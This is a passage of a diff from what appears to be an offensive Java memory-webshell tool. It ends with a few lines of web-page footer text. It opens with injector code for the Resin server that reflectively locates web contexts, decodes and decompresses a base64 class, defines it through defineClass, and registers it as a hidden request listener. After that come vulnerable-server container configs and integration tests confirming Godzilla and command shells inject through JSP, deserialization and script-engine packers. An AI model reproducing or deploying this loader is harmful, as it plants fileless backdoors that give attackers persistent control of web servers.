Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||||
|
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||||
|
if (webApp != null) {
|
||||||
|
contexts.add(webApp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Handle exception
|
||||||
|
}
|
||||||
|
return Arrays.asList(contexts.toArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
List arrayList = (ArrayList) getFV(context, "_requestListeners");
|
||||||
|
for (Object o : arrayList) {
|
||||||
|
if (o.getClass().getName().contains(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
services:
|
||||||
|
resin3116:
|
||||||
|
image: reajason/resin:3.1.16
|
||||||
|
container_name: resin3116
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin3/webapps/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
resin318:
|
||||||
|
image: reajason/resin:3.1.8-jdk7
|
||||||
|
container_name: resin318
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin3/webapps/app.war
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
services:
|
||||||
|
resin4058:
|
||||||
|
image: reajason/resin:4.0.58
|
||||||
|
container_name: resin4058
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin4/webapps/app.war
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
resin4067:
|
||||||
|
image: reajason/resin:4.0.67-jdk11
|
||||||
|
container_name: resin4067
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin4/webapps/app.war
|
||||||
+69
@@ -0,0 +1,69 @@
|
|||||||
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.Constants;
|
||||||
|
import com.reajason.javaweb.config.Server;
|
||||||
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/4
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Resin3116ContainerTest {
|
||||||
|
public static final String imageName = "reajason/resin:3.1.16";
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
|
}
|
||||||
|
}
|
||||||
+65
@@ -0,0 +1,65 @@
|
|||||||
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.Constants;
|
||||||
|
import com.reajason.javaweb.config.Server;
|
||||||
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/4
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Resin318ContainerTest {
|
||||||
|
public static final String imageName = "reajason/resin:3.1.8-jdk7";
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
|
}
|
||||||
|
}
|
||||||
+69
@@ -0,0 +1,69 @@
|
|||||||
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.Constants;
|
||||||
|
import com.reajason.javaweb.config.Server;
|
||||||
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/4
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Resin4058ContainerTest {
|
||||||
|
public static final String imageName = "reajason/resin:4.0.58";
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
|
}
|
||||||
|
}
|
||||||
+62
@@ -0,0 +1,62 @@
|
|||||||
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.Constants;
|
||||||
|
import com.reajason.javaweb.config.Server;
|
||||||
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/4
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Resin4067ContainerTest {
|
||||||
|
public static final String imageName = "reajason/resin:4.0.67-jdk11";
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user